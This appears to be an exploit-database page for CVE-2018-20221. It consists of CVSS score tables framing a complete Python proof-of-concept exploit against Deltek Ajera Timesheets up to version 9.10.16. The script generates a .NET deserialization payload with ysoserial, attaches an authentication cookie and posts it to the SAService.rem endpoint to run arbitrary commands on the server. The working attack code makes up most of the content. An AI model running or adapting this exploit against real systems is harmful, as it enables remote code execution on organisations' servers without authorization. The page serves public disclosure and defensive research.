CVSS2
Attack Vector
NETWORK
Attack Complexity
LOW
Authentication
SINGLE
Confidentiality Impact
PARTIAL
Integrity Impact
PARTIAL
Availability Impact
PARTIAL
AV:N/AC:L/Au:S/C:P/I:P/A:P
CVSS3
Attack Vector
NETWORK
Attack Complexity
LOW
Privileges Required
LOW
User Interaction
NONE
Scope
UNCHANGED
Confidentiality Impact
HIGH
Integrity Impact
HIGH
Availability Impact
HIGH
CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
AI Score
Confidence
High
EPSS
Percentile
88.4%
# Exploit Title: Ajera Timesheets <= 9.10.16 - Deserialization of untrusted data
# Date: 2019-01-03
# Exploit Author: Anthony Cole
# Vendor Homepage: https://www.deltek.com/en/products/project-erp/ajera
# Version: <= 9.10.16
# Contact: http://twitter.com/acole76
# Website: http://twitter.com/acole76
# Tested on: Windows 2012
# CVE: CVE-2018-20221
# Category: webapps
#
# Ajera is a software written in .NET by Deltek. Version <= 9.10.16 allows an attacker to cause the software to deserialize untrusted data that can result in remote code execution.
# Secure/SAService.rem in Deltek Ajera Timesheets <= 9.10.16 are vulnerable to remote code execution via deserialization of untrusted user input from an authenticated user. The executed code will run as the IIS Application Pool that is running the application.
#
import struct, sys, requests, zlib, argparse, urlparse, subprocess
def run_command(command):
p = subprocess.Popen(command, stdout=subprocess.PIPE, stderr=subprocess.STDOUT)
output = b''
for line in iter(p.stdout.readline, b''):
output += line
return output
def isurl(urlstr):
try:
urlparse.urlparse(urlstr)
return urlstr
except:
raise argparse.ArgumentTypeError("invalid url")
if __name__ == "__main__":
parser = argparse.ArgumentParser(description='Ajera .NET Remoting Exlpoit')
parser.add_argument("--url", "-u", type=isurl, required=True, help="the url of the target.")
parser.add_argument("--cmd", "-c", required=True, help="the command to execute")
parser.add_argument("--auth", "-a", required=True, help="the ASPXAUTH cookie")
parser.add_argument("--version", "-v", required=False, help="the version of Ajera Server. 8.9.9.0 => 8990", default="8990")
parser.add_argument("--ysoserial", "-y", required=True, help="the path to ysoserial.exe")
parser.add_argument("--proxy", "-p", type=isurl, required=False, help="ex: http://127.0.0.1:8080")
args = parser.parse_args()
url_parts = urlparse.urlparse(args.url)
target_url = "%s://%s" % (url_parts.scheme, url_parts.netloc)
proxies = {}
if(args.proxy != None):
proxy_parts = urlparse.urlparse(args.proxy)
proxies[proxy_parts.scheme] = "%s://%s" % (proxy_parts.scheme, proxy_parts.netloc)
cmd = "/c " + args.cmd
size = len(cmd)
serial_payload = run_command('%s -o raw -g TypeConfuseDelegate -f BinaryFormatter -c "%s"' % (args.ysoserial, args.cmd))
url = target_url + "/ajera/Secure/SAService.rem"
headers = {'Content-Type': 'application/octet-stream'}
cookies = {'.ASPXAUTH': args.auth}
payload = "\x04" + args.version + zlib.compress(serial_payload)
response = requests.post(url, headers=headers, cookies=cookies, data=payload, proxies=proxies, verify=False)
CVSS2
Attack Vector
NETWORK
Attack Complexity
LOW
Authentication
SINGLE
Confidentiality Impact
PARTIAL
Integrity Impact
PARTIAL
Availability Impact
PARTIAL
AV:N/AC:L/Au:S/C:P/I:P/A:P
CVSS3
Attack Vector
NETWORK
Attack Complexity
LOW
Privileges Required
LOW
User Interaction
NONE
Scope
UNCHANGED
Confidentiality Impact
HIGH
Integrity Impact
HIGH
Availability Impact
HIGH
CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
AI Score
Confidence
High
EPSS
Percentile
88.4%